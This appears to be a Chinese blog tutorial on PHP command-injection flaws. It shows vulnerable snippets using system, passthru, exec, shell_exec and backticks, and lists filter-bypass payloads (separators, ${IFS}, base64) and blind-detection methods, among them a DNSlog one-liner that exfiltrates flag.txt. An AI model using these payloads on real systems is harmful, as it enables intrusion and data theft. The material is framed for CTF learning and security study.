命令执行漏洞的成因是,由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并提交服务器执行。
文章较基础 哪里有问题还请大佬们指点出来。感谢、感谢。
命令执行相关函数
system
<?php
$c = $_GET['c'];
system($c);
?
c变量是可控的 这就造成了命令执行。system执行后结果会返回到页面。
passthru
和system函数类似
<?php
highlight_file(__FILE__);
$c = $_GET['c'];
passthru($c);
?>
exec
exec也可造成命令执行 但和前两个函数不同的是他不会直接将结果返回到页面 需要打印。
string exec (string command, array &output, int &return_var)
command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值
打印$b的目的是获取每一行字符串。
shell_exec
<?php
$c = $_GET['c'];
var_dump(shell_exec($c));
?>
本身也是不可以回显需要打印。
反引号造成的命令执行
另外补充一点就是 如果可控变量在反引号内 那么也可造成命令执行。只不过一般项目里会肥肠少见。。。
<?php
$c = $_GET['c'];
var_dump(`$c`);
?>
命令执行的绕过
规定执行代码
例如有这样一种情况
<?php
highlight_file(__FILE__);
$c = $_GET['c'];
$rce = "echo hello";
system($rce.$c);
?>
这里绕过方法不止一种
c=1%0awhoami 换行绕过
c=1;whoami 利用分号绕过
c=1|whoami 管道符绕过
过滤空格
有些时候 我们执行命令 如 cat flag.txt 中间必须要有空格才可打开此文件读到内容。
但是如果空格被过滤我们就应该用一些字符来替代空格
< 可替代空格
${IFS} 可替代空格
%09 (url传递可替代空格)
关键字过滤绕过
记得年底的时候貌似做过一道命令执行相关的ctf过滤了关键字
这里题目记不太清了 简单写个思路
a=l;b=s;$a$b //大家都知道。。。
//利用base64加密解密
`echo d2hvYW1p|base64 -d`//linux下执行输出whoami命令 注意加反引号
无回显命令执行
无回显情况如何判断 命令是否执行?
延时
http请求
dns请求
例如这种 没有打印次函数不会显示结果的。那么我们如何去判断 有没有带入命令呢 这时候我们来加一个延时 思路有点类似于盲注?
管道符加sleep可以明显感觉到 网页刷新慢了三秒钟 即可判断存在无回显命令执行。
如果是可通讯状态下 可以利用这个点发起一个http请求到自己的vps 然后vps进行监听
nc -lv 8080
收到请求则证明存在命令执行。
dnslog
请求内容换成 从服务器读取的数据 之后可以看到从dnslog上看到请求结果
你可能会问 为什么不直接flag.txt……..
害 当时尿急 着急写错了 只是个例子 看看思路吧
ping的话发送的是dns请求那么dnslog肯定是可以用的
请求内容里不能包含空格 我们在请求dnslog的时候应该替换一下
ping aaa bbb.dns.log 因为这样是不可以ping的 地址不应该包含空格
这里将空格替换成666
``
cat flag.txt|sed s/[[:space:]]/666/`.test.dnslog.link
```
访问一下拿到了flag。
开篇提示 笔者水平一般文章内容也比较浅显,如有错误欢迎指出 Crc反调试原理很简单,简单来说就是开启一个线程,在这个线程中不断地对内存中代码段的数据进行校验,如果校验时值发生了改变直接调用退出之类的函数关闭程序。 如何干掉crc校验? 直接停掉crc线程 调用…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论